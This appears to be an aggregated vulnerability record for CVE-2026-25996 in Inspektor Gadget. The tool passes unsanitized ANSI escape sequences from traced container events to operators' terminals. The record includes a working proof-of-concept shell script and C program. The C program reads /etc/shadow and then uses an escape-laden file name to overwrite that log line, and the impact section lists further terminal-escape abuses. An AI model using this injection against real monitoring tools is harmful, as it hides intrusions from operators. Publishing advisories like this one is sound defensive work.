6.9medium
Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode
- Severity
- 6.9medium CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.62% (higher than 51% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-34r5-6j7w-235fGO-2026-5068
Description
Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects. The columns output mode is the default when running ig run interactively.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| inspektor-gadget inspektor-gadget | < 0.49.1 | CVE List |
| github.com/inspektor-gadget/inspektor-gadget (Go) | before 0.49.1 | GitHub Advisory Database, Go Vulnerability Database |
| linuxfoundation inspektor_gadget | before 0.49.1 | NVD |
All scores
| GitHub_M | 6.9medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N |
| NVD | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects. The columns output mode is the default when running ig run interactively.
GitHub Advisory Database
Description
String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences.
Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects.
The columns output mode is the default when running ig run interactively.
PoC
Attachments
run.sh
#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
CONTAINER_NAME="poc-escape-inject"
echo "Make sure ig is running in another terminal:"
echo " sudo ig run trace_open -c ${CONTAINER_NAME}"
echo ""
echo "Press Enter to continue..."
read -r
sudo docker run --rm \
--name "${CONTAINER_NAME}" \
-v "${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro" \
gcc:latest \
bash -c "
gcc -o /tmp/escape_inject /src/escape_inject.c && \
/tmp/escape_inject
"
escape_inject.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
static void read_file(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd >= 0)
close(fd);
}
static void create_file(const char *path)
{
int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd >= 0)
close(fd);
}
int main(void)
{
printf("[1] normal activity\n");
create_file("/tmp/app.log");
printf("[2] malicious read of /etc/shadow\n");
read_file("/etc/shadow");
usleep(300000);
printf("[3] tampering the log\n");
create_file("/etc\x1b[1A/bashrc\x1b[1B\x1b[13C");
usleep(300000);
return 0;
}
- Setup a Linux host and build/install
igversion0.48.0 - Run the attached
run.shon a terminal - Run
sudo ig run trace_open -c poc-escape-injecton another terminal - Press "Enter" on the terminal attached to
run.sh - Observe the events traced by
ig - Notice that, at some point, the line where
/etc/shadowis logged is overwritten/etc/bashrc, demonstrating the log injection
Impact
The impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying columns output.
At the very least, the injection can be used for Log Injection, by inserting new lines or deleting existing ones.
However, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:
- lead to DoS (Denial of Service)
- write to the system clipboard
- create hyperlinks to attacker-controlled servers
- change window title
- potentially execute code (see referenced resources)
Resources
Notes
The json output mode was already sanitizing the content.
Go Vulnerability Database
Inspektor Gadget uses unsanitized ANSI Escape Sequences In columns Output Mode in github.com/inspektor-gadget/inspektor-gadget
NVD (es)
Inspektor Gadget es un conjunto de herramientas y framework para la recopilación de datos y la inspección del sistema en clústeres de Kubernetes y hosts Linux utilizando eBPF. Los campos de cadena de los eventos eBPF en modo de salida de columnas se renderizan en la terminal sin ninguna sanitización de caracteres de control o secuencias de escape ANSI. Por lo tanto, una carga útil de evento forjada maliciosamente – parcial o completamente –, proveniente de un contenedor observado, podría inyectar las secuencias de escape en la terminal de los operadores de ig, con diversos efectos. El modo de salida de columnas es el predeterminado al ejecutar ig run de forma interactiva.
References
| https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-34r5-6j7w-235f | advisory, exploit, vendor-advisory, web | |
| https://github.com/inspektor-gadget/inspektor-gadget/commit/d59cf72971f9b7110d9c179dc8ae8b7a11dbd6d2 | fix, patch, web | |
| https://github.com/inspektor-gadget/inspektor-gadget/releases/tag/v0.49.1 | product, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-25996 | advisory | |
| https://github.com/inspektor-gadget/inspektor-gadget | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-25996 changed 2026-02-12 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-34r5-6j7w-235f changed 2026-06-25 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-5068 changed 2026-06-25 | CC-BY-4.0 |
| NVD | CVE-2026-25996 changed 2026-06-17 | Public domain |